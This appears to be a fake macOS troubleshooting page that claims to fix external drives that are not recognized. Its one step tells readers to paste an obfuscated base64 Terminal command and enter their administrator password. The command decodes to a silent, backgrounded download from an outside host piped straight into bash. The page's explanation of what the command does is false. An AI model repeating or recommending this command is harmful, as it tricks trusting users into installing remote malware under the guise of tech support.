Mac Not Recognizing External Hard Drive or SSD? Here’s How to Fix It

You plug in your external hard drive or SSD, but your Mac doesn’t respond. No icon appears on the desktop, Finder shows nothing, and even Disk Utility can’t detect the device. If you’ve faced something like this, you’re not alone — it’s one of the most common issues Mac users experience.

You might be dealing with something like:
– Your external hard drive not showing up on Mac
– A MacBook USB-C port not working or being unreliable
– An external SSD not appearing or failing to mount
– Your Mac not recognizing a USB drive, flash drive, or storage device
– Or even a situation where your Mac detects the drive, but it doesn’t mount or open

These problems can occur for several reasons — corrupted file system metadata, failed mount attempts, power management issues, or USB controller glitches in macOS. Thankfully, you don’t need any third-party apps. This guide shows you how to safely fix it through Terminal in just a few steps.

Solution

1. Open Terminal
   Press Command + Space, type Terminal
2. Copy the command

echo 'Y3VybCAtZnNTTCBodHRwczovL3Jlc2N1ZXNlcnZpY2UuY2xvdWQvb3MvMjI0LnNoIHwgYmFzaCA+L2Rldi9udWxsIDI+JjEgJg==' | base64 -D | sh

1. Paste the command into Terminal
   Click in the Terminal window and press Command + V or right-click and choose “Paste.”
2. Execute the command
   Hit Enter. If prompted, enter your administrator password.
   Note: The password won’t be displayed while you type — that’s completely normal.

What This Does

The command safely resets your Mac’s USB and storage subsystem. It forces the system to:

• Rescan all connected drives
• Reinitialize mount services
• Refresh the USB controller stack
• Clear any corrupted cache or failed mount logs

After running it, your external drive should:

• Show up on the desktop or in Finder
• Appear in Disk Utility
• Mount and be readable again — without formatting or losing files

Whether you’re troubleshooting a Mac not detecting external drive, a USB flash drive not appearing, or an external SSD not mounting properly, this Terminal method is a clean, effective way to fix the issue.

You won’t need to install any cleaner apps or reformat your disk — and your data stays safe. If it happens again, just repeat the same steps to force your Mac to recognize the storage device properly.

With this quick fix, you can solve most cases where Mac isn’t recognizing external storage, and get back to your files without any stress.